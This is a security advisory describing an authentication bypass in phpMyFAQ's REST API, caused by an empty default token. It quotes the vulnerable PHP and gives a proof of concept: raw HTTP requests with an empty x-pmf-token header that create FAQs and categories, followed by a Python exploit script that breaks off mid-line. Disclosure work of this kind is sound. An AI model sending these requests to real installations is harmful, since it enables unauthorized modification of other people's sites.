phpMyFAQ: Default Empty API Token Authentication Bypass
Summary
A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."
Details
The root cause is in two files:
1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):
```php
'api.enableAccess' => 'true',
'api.apiClientToken' => '', // ← defaults to empty string
```
2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):
```php
protected function hasValidToken(): void
{
$request = Request::createFromGlobals();
if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
}
}
```
The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.
The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.
The following API endpoints call $this->hasValidToken() as their only authentication check:
| File | Endpoint | Method |
| ------------------------------------------------------- | ---------------------- | ------ |
| src/.../Controller/Api/FaqController.php:701-703 | /api/v4.0/faq/create | POST |
| src/.../Controller/Api/FaqController.php:857-859 | /api/v4.0/faq/update | PUT |
| src/.../Controller/Api/CategoryController.php:278-280 | /api/v4.0/category | POST |
| src/.../Controller/Api/QuestionController.php:89-91 | /api/v4.0/question | POST |
PoC
Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.
Step 1 — Verify that requests without auth header are correctly rejected:
```http
POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
{
"language": "en",
"category-id": 1,
"question": "Test Question",
"answer": "Test Answer",
"keywords": "test",
"author": "test",
"email": "[email protected]",
"is-active": true,
"is-sticky": false
}
```
Response (HTTP 401 — correctly blocked):
```json
{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}
```
Step 2 — Send the same request with an empty x-pmf-token header:
```http
POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token:
{
"language": "en",
"category-id": 1,
"question": "[POC] Authentication Bypass Confirmed",
"answer": "This FAQ was created without any valid authentication token.",
"keywords": "poc,bypass",
"author": "Security Researcher",
"email": "[email protected]",
"is-active": true,
"is-sticky": false
}
```
Response (HTTP 201 — bypass confirmed):
```json
{"stored": true}
```
Step 3 — Category creation via the same bypass:
```http
POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token:
{
"language": "en",
"parent-id": 0,
"category-name": "POC_Category",
"description": "Category created via empty token bypass",
"user-id": 1,
"group-id": -1,
"is-active": true,
"show-on-homepage": true
}
```
Response (HTTP 201):
```json
{"stored": true}
```
Step 4 — Verify injected content is publicly visible:
```http
GET /api/v4.0/faqs/1 HTTP/1.1
Host: <target>
```
Response (HTTP 200 — injected FAQ publicly exposed):
```json
[{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}]
```
PoC with Python (urllib — no external dependencies):
```python
import urllib.request, json
TARGET = "http://<target>"
HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}
# Create FAQ via empty token bypass
data = json.dumps({
"language": "en", "category-id": 1,
"question": "[POC] Auth Bypass", "answer": "Created via bypass.",
"keywords": "poc", "author": "R", "email": "[email protected]",
"is-active": True, "is-sticky": False
}).encode()
req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS,
